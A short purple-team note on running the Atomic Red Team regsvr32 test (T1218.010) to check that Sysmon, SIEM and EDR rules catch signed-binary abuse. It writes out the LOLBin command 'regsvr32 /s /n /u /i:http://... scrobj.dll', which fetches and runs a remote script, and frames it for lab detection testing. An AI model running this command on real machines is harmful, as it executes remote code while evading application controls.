Atomic Red T1218.010

Invoke-AtomicTest T1218.010

Executes the regsvr32 atomic test (T1218.010) with Atomic Red Team, validating detection of signed binary abuse for code execution.

Run it in the purple team lab when you want to validate detection of living off the land: the T1218.010 atomic uses regsvr32 (the signed Windows binary) to execute code (regsvr32 /s /n /u /i:http://... scrobj.dll) and the team verifies what was detected — Sysmon Event 1 (regsvr32 with the arguments), SIEM rules, EDR. It's the validation of LOLBin detection: the real attacker technique using legitimate binaries. In purple teaming, the atomic validates regsvr32 rules and the result feeds the matrix.

Don't run it in production: the atomic executes code (the script download and execution) — the lab is the place. The noise is planned. And note: the atomic validates detection of the specific variant (regsvr32 with scrobj.dll over HTTP) — other variants (local, DLL) have other atomics; coverage is validated per variant. The test needs access to the atomic's URL (or the local server): without the resource, the atomic fails. Detection of regsvr32 arguments (the /i:http) is the key of the rule being validated.